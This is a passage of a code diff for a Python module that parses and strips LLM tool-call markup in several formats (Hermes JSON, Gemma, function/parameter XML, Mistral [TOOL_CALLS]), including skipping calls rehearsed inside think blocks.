-"""Tool-call XML parsing and stripping helpers.
+"""Lightweight tool-call parsing and stripping helpers.
 
-Extracted verbatim from studio/backend/core/inference/llama_cpp.py so external
-inference servers can reuse the logic without importing the inference
-orchestrator, structlog, httpx, or the rest of the studio backend.
+External inference servers import this module without pulling in the inference
+orchestrator, structlog, httpx, or the rest of the studio backend. Kept in
+lockstep with ``core/inference/tool_call_parser.py`` so those servers
+(llama-server wrappers, llama-swap, custom shims) reuse the same logic. Any
+change here must also land there.
 
-Regexes and bodies are byte-for-byte identical to the original; any change must
-preserve that. test_tool_healing_extraction_is_exact.py verifies via AST.
+Handles these serializations (see ``parse_tool_calls_from_text``):
+
+* ``<tool_call>{json}</tool_call>``
+* ``<|tool_call>call:name{...}<tool_call|>`` (Gemma)
+* ``<function=name><parameter=k>v</parameter></function>``
+* ``[TOOL_CALLS]name{json}`` (Mistral / Devstral fallback)
+* ``name[ARGS]{json}`` (reasoning-model rehearsal)
 """
 
+# PEP 604 annotations must stay import-safe on Python 3.9 (requires-python >=3.9).
+from __future__ import annotations
+
+import bisect
 import json
 import re
 
-# Pre-compiled patterns for tool XML stripping. The hyphen in the name
-# char-class lets dashed MCP tool/parameter names (mcp__srv__list-issues,
-# issue-number) parse alongside the built-ins.
+# One nesting level in the strip regexes; deeper may leak markup (still parsed).
+_BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}"
+
+# Rehearsal ``name[ARGS]{..}`` strips; group 1 = name for tool-list gating. Closed =
+# complete body, tail = truncated; ``(?<!\[CALL_ID\])`` keeps the v11 call-id from reading as a name.
+_REHEARSAL_CLOSED_STRIP_RE = re.compile(
+    r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*" + _BRACKETED_JSON_ONE_LEVEL, re.DOTALL
+)
+_REHEARSAL_TAIL_STRIP_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?:\{.*)?$", re.DOTALL)
+
+# Tool-XML strip patterns; hyphen in the name class covers dashed MCP names.
+# Closed-pair patterns are named so _PAT_REQUIRED_TOKEN can skip a doomed lazy rescan when
+# the close token is absent: an unguarded ``<tag>.*?</tag>`` rescans to EOF from every opener
+# (quadratic on a stream of unclosed openers). Also reused by the quote-aware Gemma pre-pass.
+_TC_JSON_CLOSED_PAT = re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL)
+_TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL)
+_TC_FUNC_CLOSED_PAT = re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL)
 _TOOL_CLOSED_PATS = [
-    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
+    _TC_JSON_CLOSED_PAT,
+    _TC_GEMMA_CLOSED_PAT,
+    re.compile(r"<tool_call\|>"),
+    _TC_FUNC_CLOSED_PAT,
+    # Mirror the parser regexes: tolerate whitespace and v11 [CALL_ID]/[ARGS] metadata.
+    re.compile(
+        r"\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*"
+        + _BRACKETED_JSON_ONE_LEVEL,
+        re.DOTALL,
+    ),
+    _REHEARSAL_CLOSED_STRIP_RE,
+    # Drop the bare v11 [/TOOL_CALLS] closer the balanced scan leaves behind.
+    re.compile(r"\[/TOOL_CALLS\]"),
 ]
-_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+# Bare open markers strip a partial call mid-stream; the rehearsal tail needs `{` or EOF
+# so prose ``foo[ARGS]`` survives. The XML open-tail forms reach EOF and are reused by
+# _tool_call_markup_spans (a think tag in an unclosed call's args stays argument data).
+_TOOL_OPEN_XML_TAIL_PATS = [
     re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r"<\|tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
+_TOOL_ALL_PATS = (
+    _TOOL_CLOSED_PATS
+    + _TOOL_OPEN_XML_TAIL_PATS
+    + [
+        re.compile(r"\[TOOL_CALLS\].*$", re.DOTALL),
+        _REHEARSAL_TAIL_STRIP_RE,
+    ]
+)
+
+# Rehearsal strips (name in group 1); name-gated via ``enabled_tool_names``, strip-all when None.
+_REHEARSAL_STRIP_PATS = frozenset({_REHEARSAL_CLOSED_STRIP_RE, _REHEARSAL_TAIL_STRIP_RE})
+
+# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in argument
+# data cannot make the helper truncate the block and its tail.
+_TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT]
+# A lazy closed-pair pattern whose close token is absent would rescan to EOF from every
+# opener; skip that doomed (quadratic) pass. Shared by both strip helpers.
+_PAT_REQUIRED_TOKEN = {
+    _TC_JSON_CLOSED_PAT: "</tool_call>",
+    _TC_GEMMA_CLOSED_PAT: "<tool_call|>",
+    _TC_FUNC_CLOSED_PAT: "</function>",
+}
+
+
+def strip_tool_patterns(text: str, patterns) -> str:
+    """Apply ``patterns`` in order, skipping closed-pair passes with no close token."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        text = pat.sub("", text)
+    return text
+
+
+def apply_tool_strip_patterns(
+    text: str,
+    patterns,
+    enabled_tool_names = None,
+) -> str:
+    """Apply strip ``patterns`` to ``text``. A bare rehearsal ``name[ARGS]{..}`` pattern
+    strips only when ``name`` is an enabled tool (or when ``enabled_tool_names`` is
+    ``None``); every other pattern is removed unconditionally. A closed-pair pattern whose
+    close token is absent is skipped so an unclosed-marker stream stays linear."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        if enabled_tool_names is not None and pat in _REHEARSAL_STRIP_PATS:
+            text = pat.sub(lambda m: "" if m.group(1) in enabled_tool_names else m.group(0), text)
+        else:
+            text = pat.sub("", text)
+    return text
+
 
 # Pre-compiled patterns for tool-call XML parsing.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
+_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
 _TC_END_TAG_RE = re.compile(r"</tool_call>")
+_TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
+# Horizontal-whitespace trailing class keeps the wrapping newline; _trim_param_value trims it.
+_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>[^\S\n]*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
+_GEMMA_QUOTE = '<|"|>'
+_PARAM_CLOSE_TAG = "</parameter>"
+_FUNC_CLOSE_TAG = "</function>"
+# A bare (unquoted) Gemma value ends at `}` or at a comma that begins the next
+# `key:` pair. A comma NOT followed by a key token is part of the value (e.g.
+# `location:New York, NY`), so it must not terminate the value. The key token
+# must be identifier-shaped (start with a letter or underscore); a comma
+# followed by digits-then-colon is value text such as a timestamp or ratio
+# (`meet at 10:00, 11:00 tomorrow`), not a new key.
+_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
+
+# A candidate starting inside a think block is a rehearsal (block kept so literal tags in
+# real args survive); ``$`` accepts an unclosed block mid-stream.
+_THINK_TAG_RE = re.compile(r"<think>.*?(?:</think>|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL)
+# Bare open/close markers for prefilled-reasoning turns (template opens <think> in the prompt).
+_THINK_OPEN_RE = re.compile(r"<think>|\[THINK\]")
+_THINK_CLOSE_RE = re.compile(r"</think>|\[/THINK\]")
+
+# Mistral canonical array: [TOOL_CALLS] + JSON list of {"name","arguments"} objects.
+_MISTRAL_ARRAY_RE = re.compile(r"\[TOOL_CALLS\]\s*(?=\[)")
+
+# Mistral name form + v11 [ARGS]/[CALL_ID] shapes; [CALL_ID] is metadata, not the name,
+# and hyphens keep dashed MCP names whole.
+_MISTRAL_BRACKET_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+
+# Rehearsal ``name[ARGS]{json}`` (no [TOOL_CALLS]); the lookbehind keeps the v11 call-id
+# from being taken as the function name.
+_REHEARSAL_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
+
+# Above this size skip the balanced scan; the linear regex catch-all bounds pathological output.
+_MAX_BRACKET_SCAN_CHARS = 1_000_000
 
 
-def parse_tool_calls_from_text(content: str) -> list[dict]:
+def _balanced_json_span(text: str, start: int) -> int | None:
+    """Return the end index of a balanced JSON object opening at ``start``,
+    or ``None`` if the braces don't balance. Honors escapes and strings.
     """
-    Parse tool calls from XML markup in content text.
+    if start >= len(text) or text[start] != "{":
+        return None
+    depth = 0
+    in_string = False
+    escape = False
+    for j in range(start, len(text)):
+        ch = text[j]
+        if escape:
+            escape = False
+            continue
+        if ch == "\\":
+            escape = True
+            continue
+        if in_string:
+            if ch == '"':
+                in_string = False
+            continue
+        if ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return j
+    return None
+
+
+def _balanced_brace_end(
+    content: str,
+    brace_start: int,
+    *,
+    gemma_quotes: bool = False,
+) -> int:
+    depth = 0
+    i = brace_start
+    in_string = False
+    in_gemma_string = False
+    while i < len(content):
+        if gemma_quotes and not in_string and content.startswith(_GEMMA_QUOTE, i):
+            in_gemma_string = not in_gemma_string
+            i += len(_GEMMA_QUOTE)
+            continue
+        ch = content[i]
+        if in_gemma_string:
+            i += 1
+            continue
+        if in_string:
+            if ch == "\\" and i + 1 < len(content):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return -1
+
+
+def _balanced_bracket_end(src: str, start: int) -> int:
+    """Index of the ``]`` matching the ``[`` at ``start``, or -1. Tracks nested
+    ``[]``/``{}`` and double-quoted strings."""
+    depth = 0
+    i = start
+    in_string = False
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            if ch == "\\" and i + 1 < len(src):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch in "[{":
+            depth += 1
+        elif ch in "]}":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return -1
+
+
+def _decode_array_items(text: str, body_start: int, body_end: int):
+    """Return ``(objs, ends)`` for each top-level element of the JSON array between
+    ``body_start`` (at or before its ``[``) and ``body_end`` (exclusive): the decoded
+    object and its absolute exclusive end offset.
+
+    Decoding element-by-element with ``raw_decode`` tolerates the comma-less object
+    separators the repo's own Mistral/Ollama multi-call templates emit
+    (``[{...}{...}]``; see ollama_template_mappers.py). A single ``json.loads`` of the
+    whole body rejects that form and would drop every call. The ends also tile the
+    region across the calls' spans so a with_spans consumer strips each exactly once."""
+    decoder = json.JSONDecoder()
+    objs: list = []
+    ends: list[int] = []
+    i = text.find("[", body_start)
+    if i < 0:
+        return objs, ends
+    i += 1
+    while i < body_end:
+        while i < body_end and text[i] in " \t\r\n,":
+            i += 1
+        if i >= body_end or text[i] == "]":
+            break
+        try:
+            obj, rel = decoder.raw_decode(text[i:body_end])
+        except (json.JSONDecodeError, ValueError):
+            break
+        i += rel
+        objs.append(obj)
+        ends.append(i)
+    return objs, ends
+
+
+def _iter_bracket_spans(
+    text: str,
+    start: int = 0,
+    enabled_tool_names = None,
+):
+    """Yield ``(span_start, span_end, kind, match)`` for each balanced bracket-tag
+    call from ``start`` on, in document order; ``span_end`` exclusive. ``kind`` is
+    ``"array"`` ([TOOL_CALLS] [..]), ``"name"`` ([TOOL_CALLS]name{..}, incl. v11
+    [CALL_ID]/[ARGS]) or ``"rehearsal"`` (name[ARGS]{..}).
+
+    ``enabled_tool_names`` (set, or None = unrestricted) gates only the ambiguous
+    bare rehearsal form: name[ARGS]{..} is a call ONLY when ``name`` is enabled, so a
+    prose ``foo[ARGS]{..}`` (foo disabled) is neither parsed nor stripped. Explicit
+    [TOOL_CALLS] markers stay unconditional, keeping parse/strip/detection symmetric.
+
+    Balance-only (no JSON validation) so strip and parse share one scan. The cursor
+    jumps past each consumed span, so a marker inside consumed JSON is never
+    re-matched and each regex re-searches only once its match falls behind: linear."""
+    n = len(text)
+    specs = (
+        ("array", _MISTRAL_ARRAY_RE),
+        ("name", _MISTRAL_BRACKET_RE),
+        ("rehearsal", _REHEARSAL_RE),
+    )
+    nexts = {kind: rx.search(text, start) for kind, rx in specs}
+    cursor = start
+    while cursor < n:
+        for kind, rx in specs:
+            m = nexts[kind]
+            if m is not None and m.start() < cursor:
+                nexts[kind] = rx.search(text, cursor)
+        live = [(kind, m) for kind, m in nexts.items() if m is not None]
+        if not live:
+            return
+        kind, m = min(live, key = lambda km: km[1].start())
+        if kind == "array":
+            end = _balanced_bracket_end(text, m.end())
+            end = None if end < 0 else end
+        else:
+            end = _balanced_json_span(text, m.end())
+        if end is None:
+            # Truncated body: skip and keep scanning; the caller's catch-all strips the tail.
+            cursor = m.end()
+            continue
+        if (
+            kind == "rehearsal"
+            and enabled_tool_names is not None
+            and m.group(1) not in enabled_tool_names
+        ):
+            # Inactive-name rehearsal is prose: advance past its body without yielding.
+            cursor = end + 1
+            continue
+        yield (m.start(), end + 1, kind, m)
+        cursor = end + 1
+
+
+def _split_top_level_commas(src: str) -> list:
+    """Split on commas that are not inside a nested ``[]``/``{}`` or a string."""
+    parts: list[str] = []
+    depth = 0
+    in_string = False
+    start = 0
+    i = 0
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            if ch == "\\" and i + 1 < len(src):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch in "[{":
+            depth += 1
+        elif ch in "]}":
+            depth -= 1
+        elif ch == "," and depth == 0:
+            parts.append(src[start:i])
+            start = i + 1
+        i += 1
+    parts.append(src[start:])
+    return parts
+
+
+def _quote_gemma_array_elements(body: str) -> str:
+    """Normalise the elements of a Gemma array value so json.loads succeeds.
+
+    Gemma may emit ``labels:[bug,ui]`` without per-element quotes, or arrays of
+    objects (``items:[{path:a}]``) whose keys/values also lack quotes; left
+    as-is json.loads fails and the whole call is dropped. Bare string elements
+    are quoted, object and nested-array elements are normalised recursively, and
+    quoted strings (already normalised from ``<|"|>``), numbers, and JSON
+    literals are preserved."""
+    out: list[str] = []
+    for element in _split_top_level_commas(body):
+        stripped = element.strip()
+        if not stripped or stripped[0] == '"':
+            out.append(element)
+            continue
+        if stripped[0] == "{":
+            # Object element: quote its keys/bare values like a top-level object.
+            out.append(_quote_gemma_object_keys(stripped))
+            continue
+        if stripped[0] == "[":
+            # Nested array: normalise its elements too.
+            inner_end = _balanced_bracket_end(stripped, 0)
+            if inner_end == len(stripped) - 1:
+                out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]")
+            else:
+                out.append(element)
+            continue
+        try:
+            json.loads(stripped)
+            out.append(element)
+        except (json.JSONDecodeError, ValueError):
+            out.append(json.dumps(stripped))
+    return ",".join(out)
+
+
+def _normalise_gemma_quoted_strings(src: str) -> str:
+    parts: list[str] = []
+    i = 0
+    while i < len(src):
+        if not src.startswith(_GEMMA_QUOTE, i):
+            parts.append(src[i])
+            i += 1
+            continue
+        end = src.find(_GEMMA_QUOTE, i + len(_GEMMA_QUOTE))
+        if end < 0:
+            parts.append(src[i:])
+            break
+        raw_value = src[i + len(_GEMMA_QUOTE) : end]
+        parts.append(json.dumps(raw_value))
+        i = end + len(_GEMMA_QUOTE)
+    return "".join(parts)
+
+
+def _quote_gemma_object_keys(src: str) -> str:
+    parts: list[str] = []
+    i = 0
+    in_string = False
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            parts.append(ch)
+            if ch == "\\" and i + 1 < len(src):
+                parts.append(src[i + 1])
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            parts.append(ch)
+            i += 1
+            continue
+        if ch not in "{,":
+            parts.append(ch)
+            i += 1
+            continue
+
+        parts.append(ch)
+        i += 1
+        key_start = i
+        while i < len(src) and src[i].isspace():
+            i += 1
+        key_name_start = i
+        while i < len(src) and (src[i].isalnum() or src[i] in "_-."):
+            i += 1
+        key_name = src[key_name_start:i]
+        colon_pos = i
+        while colon_pos < len(src) and src[colon_pos].isspace():
+            colon_pos += 1
+        if key_name and colon_pos < len(src) and src[colon_pos] == ":":
+            parts.append(src[key_start:key_name_start])
+            parts.append(json.dumps(key_name))
+            parts.append(src[i:colon_pos])
+            parts.append(":")
+            i = colon_pos + 1
+            # Gemma may emit bare string values ({unit:celsius}); quote them so
+            # json.loads succeeds. JSON scalars/objects/arrays/quoted stay as-is.
+            ws = i
+            while i < len(src) and src[i].isspace():
+                i += 1
+            parts.append(src[ws:i])
+            if i < len(src) and src[i] == "[":
+                # Array value: quote bare string elements (e.g. labels:[bug,ui])
+                # so json.loads succeeds instead of dropping the call.
+                arr_end = _balanced_bracket_end(src, i)
+                if arr_end < 0:
+                    parts.append(src[i:])
+                    i = len(src)
+                else:
+                    parts.append("[" + _quote_gemma_array_elements(src[i + 1 : arr_end]) + "]")
+                    i = arr_end + 1
+            elif i < len(src) and src[i] not in '"{':
+                v_start = i
+                # Consume the bare value up to `}` or a comma that starts the
+                # next key:value pair; a comma inside the value (e.g.
+                # `New York, NY`) does not terminate it.
+                while i < len(src):
+                    if src[i] == "}":
+                        break
+                    if src[i] == "," and _GEMMA_NEXT_KEY_RE.match(src, i + 1):
+                        break
+                    i += 1
+                raw = src[v_start:i]
+                try:
+                    json.loads(raw.strip())
+                    parts.append(raw)
+                except (json.JSONDecodeError, ValueError):
+                    # Quote bare value; empty ({k:}) becomes "" so json.loads sees {"k":""} not invalid {"k":}.
+                    parts.append(json.dumps(raw.strip()))
+        else:
+            parts.append(src[key_start:i])
+    return "".join(parts)
+
+
+def _gemma_arguments_to_json(args_src: str) -> dict:
+    """Parse Gemma 4's native call:name{key:value} argument object."""
+    args_src = args_src.strip()
+    if not args_src:
+        return {}
+    src = _normalise_gemma_quoted_strings(args_src)
+    src = "{" + src + "}"
+    src = _quote_gemma_object_keys(src)
+    return json.loads(src)
+
+
+def _inside_open_parameter(content: str, pos: int) -> bool:
+    """Return True when ``pos`` falls inside an unclosed parameter value."""
+    last_param_start = -1
+    for match in _TC_PARAM_START_RE.finditer(content, 0, pos):
+        last_param_start = match.start()
+    if last_param_start < 0:
+        return False
+    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
+    # argument data (even across literal function closes); an unclosed one falls back to func close.
+    own_close = content.find(_PARAM_CLOSE_TAG, last_param_start)
+    if own_close >= 0:
+        return own_close > pos
+    func_close = content.find(_FUNC_CLOSE_TAG, last_param_start)
+    return func_close < 0 or pos < func_close
+
+
+def _func_close_index(content: str, body_start: int, body: str) -> int:
+    """Index in ``body`` of the first ``</function>`` that is not argument
+    data (not inside an open parameter value); -1 when every close is data.
+    Taking the LAST close swallowed prose between the real close and a
+    literal ``</function>`` mentioned later in the answer."""
+    idx = body.find(_FUNC_CLOSE_TAG)
+    while idx >= 0:
+        if not _inside_open_parameter(content, body_start + idx):
+            return idx
+        idx = body.find(_FUNC_CLOSE_TAG, idx + 1)
+    return -1
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim the single wrapping newline the chat template adds around an XML
+    parameter value, preserving indentation inside VALUE (``str.strip()`` destroyed
+    code/diff argument indentation)."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _marker_coverage(content: str, markers) -> list[tuple[int, int]]:
+    """Coverage ``[start, end]`` per marker, used to skip markers that are another
+    call's data. Closes pair to markers via a per-format stack so an inner close
+    is not mistaken for the outer's. Unbalanced braces cover to EOF; balanced with
+    a paired close cover through it (markers before the close are data); balanced
+    without one cover only the braces, so a later sibling is still recovered."""
+    n = len(content)
+    brace_regions = [(s, be) for (s, be, _k, _m) in markers if be >= 0]
+    events = []  # (position, order) with order 0 = braces-done, 1 = close marker
+    for idx, (_start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end >= 0:
+            events.append((brace_end, 0, _kind, idx))
+    for kind, close_re in (("json", _TC_END_TAG_RE), ("gemma", _TC_GEMMA_END_TAG_RE)):
+        for cm in close_re.finditer(content):
+            # A close inside another call's balanced braces is quoted data; it
+            # must not pop an earlier close-less marker and swallow a sibling.
+            if any(s < cm.start() < be for s, be in brace_regions):
+                continue
+            events.append((cm.start(), 1, kind, cm.end()))
+    events.sort(key = lambda e: (e[0], e[1]))
+    waiting = {"json": [], "gemma": []}
+    close_end_for: dict[int, int] = {}
+    for _pos, order, kind, payload in events:
+        if order == 0:
+            waiting[kind].append(payload)  # marker index, now awaiting its close
+        elif waiting[kind]:
+            close_end_for[waiting[kind].pop()] = payload  # innermost open marker closes here
+    coverage = []
+    for idx, (start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end < 0:
+            coverage.append((start, n))
+        elif idx in close_end_for:
+            coverage.append((start, close_end_for[idx]))
+        else:
+            coverage.append((start, brace_end))
+    return coverage
+
+
+def _build_markers(content: str):
+    """JSON/Gemma tool markers as ``(start, brace_end, kind, match)`` in document
+    order; ``brace_end < 0`` marks an unbalanced (to-EOF) open."""
+    markers = []
+    for start_re, gemma, kind in (
+        (_TC_JSON_START_RE, False, "json"),
+        (_TC_GEMMA_START_RE, True, "gemma"),
+    ):
+        for m in start_re.finditer(content):
+            if _inside_open_parameter(content, m.start()):
+                continue
+            brace_end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = gemma)
+            markers.append((m.start(), brace_end, kind, m))
+    markers.sort(key = lambda c: c[0])
+    return markers
+
+
+def marker_coverage(content: str) -> list[tuple[int, int]]:
+    """Coverage spans of JSON/Gemma tool markers so other parsers can treat markup
+    inside a marker's coverage (even a marker that failed to parse) as that call's
+    data rather than a sibling call."""
+    return _marker_coverage(content, _build_markers(content))
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+    enabled_tool_names = None,
+    with_spans: bool = False,
+):
+    """Parse OpenAI-format tool calls from model text.
 
     Handles formats like:
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
+      <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
-    Closing tags (</tool_call>, </function>, </parameter>) are all
-    optional since models frequently omit them.
+      [TOOL_CALLS]web_search{"query":"..."}        (Mistral / Devstral fallback)
+      web_search[ARGS]{"query":"..."}             (reasoning-model rehearsal)
+
+    A call rehearsed inside a ``<think>`` / ``[THINK]`` block is skipped, not
+    executed; the block is kept so a literal tag in a real argument is preserved.
+
+    With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
+    is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
+    in ``content`` (including its close tag when present), so a caller can
+    remove exactly the parsed markup and keep every other byte intact.
     """
-    tool_calls = []
+    # Candidates starting inside a think block are rehearsals, skipped; blocks are kept, and a
+    # think marker opening inside a call is argument data (excluded from spans).
+    _think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in _think_spans]
 
-    # Pattern 1: JSON inside <tool_call> tags. Balanced-brace extraction that
-    # skips braces inside JSON strings.
-    for m in _TC_JSON_START_RE.finditer(content):
-        brace_start = m.end() - 1  # position of the opening {
-        depth, i = 0, brace_start
-        in_string = False
-        while i < len(content):
-            ch = content[i]
-            if in_string:
-                if ch == "\\" and i + 1 < len(content):
-                    i += 2  # skip escaped character
+    def _in_think(pos: int) -> bool:
+        # Spans are ordered and non-overlapping; bisect gives O(log M) per candidate.
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and _think_spans[i][0] <= pos < _think_spans[i][1]
+
+    tool_calls: list[dict] = []
+    call_spans: list[tuple] = []
+    # Collect JSON/Gemma markers; _marker_coverage decides nesting so a marker inside
+    # another call's coverage (even one that failed to parse) is data, not executed. A
+    # marker opening inside a think block is a rehearsal and is skipped.
+    parsed_items = []  # (start, span_end, name, arguments) in document order
+    markers = [mk for mk in _build_markers(content) if not _in_think(mk[0])]
+    coverage = _marker_coverage(content, markers)
+    for idx, (start, brace_end, kind, m) in enumerate(markers):
+        if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx):
+            continue
+        if brace_end < 0:
+            continue  # unclosed: not parseable; the fallback still excludes its XML
+        if not allow_incomplete:
+            tail = content[brace_end + 1 :].lstrip()
+            close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
+            if close_re.match(tail) is None:
+                continue
+        try:
+            if kind == "json":
+                obj = json.loads(content[m.end() - 1 : brace_end + 1])
+                name = obj.get("name", "")
+                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside Hermes).
+                arguments = obj.get("arguments")
+                if arguments is None:
+                    arguments = obj.get("parameters", {})
+                if isinstance(arguments, dict):
+                    arguments = json.dumps(arguments)
+            else:
+                name = m.group(1)
+                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end]))
+        except (json.JSONDecodeError, ValueError):
+            continue
+        span_end = brace_end + 1
+        close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
+        ws = len(content[span_end:]) - len(content[span_end:].lstrip())
+        close_m = close_re.match(content, span_end + ws)
+        if close_m:
+            span_end = close_m.end()
+        parsed_items.append((start, span_end, name, arguments))
+
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+        and not _in_think(fm.start())
+        and not any(s <= fm.start() < e for s, e in coverage)
+    ]
+    for idx, fm in enumerate(func_starts):
+        func_name = fm.group(1)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        end_tag = _TC_END_TAG_RE.search(content[body_start:])
+        if end_tag:
+            body_end = body_start + end_tag.start()
+        else:
+            body_end = len(content)
+        body_end = min(body_end, next_func)
+        body = content[body_start:body_end]
+        close_idx = _func_close_index(content, body_start, body)
+        if close_idx >= 0:
+            span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
+            body = body[:close_idx]
+        elif not allow_incomplete:
+            continue
+        else:
+            body = _TC_FUNC_CLOSE_RE.sub("", body)
+            span_end = body_end
+
+        arguments: dict = {}
+        param_starts = list(_TC_PARAM_START_RE.finditer(body))
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            val = body[pm.end() :]
+            if not allow_incomplete:
+                stripped_val = val.rstrip()
+                if not stripped_val.endswith(_PARAM_CLOSE_TAG):
                     continue
-                if ch == '"':
-                    in_string = False
-            elif ch == '"':
-                in_string = True
-            elif ch == "{":
-                depth += 1
-            elif ch == "}":
-                depth -= 1
-                if depth == 0:
-                    break
-            i += 1
-        if depth == 0:
-            json_str = content[brace_start : i + 1]
-            try:
-                obj = json.loads(json_str)
-                tc = {
-                    "id": f"call_{len(tool_calls)}",
-                    "type": "function",
-                    "function": {
-                        "name": obj.get("name", ""),
-                        "arguments": obj.get("arguments", {}),
-                    },
-                }
-                if isinstance(tc["function"]["arguments"], dict):
-                    tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"])
-                tool_calls.append(tc)
-            except (json.JSONDecodeError, ValueError):
-                pass
-
-    # Pattern 2: XML-style <function=name><parameter=key>value</parameter></function>
-    # All closing tags optional; models frequently omit them.
-    if not tool_calls:
-        # Step 1: Find <function=name> positions and extract bodies. Use only
-        # </tool_call> or the next <function= as hard boundaries (</function>
-        # can appear in code values); trim a trailing </function> afterwards.
-        func_starts = list(_TC_FUNC_START_RE.finditer(content))
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            # Boundaries: next <function= tag or </tool_call>
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
+                val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
             else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            body = _TC_FUNC_CLOSE_RE.sub("", body)  # trim closing </function>
-
-            # Step 2: Extract parameters from body. For single-parameter
-            # functions, use body end as the only boundary to avoid matching
-            # </parameter> inside code strings.
-            arguments = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                # Value is everything after the tag to end of body, less a
-                # trailing </parameter>.
-                pm = param_starts[0]
-                val = body[pm.end() :]
                 val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = val.strip()
-            else:
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    # Value ends at next <parameter= or end of body
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
-                    )
-                    val = body[val_start:next_param]
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)  # trim trailing </parameter>
-                    arguments[param_name] = val.strip()
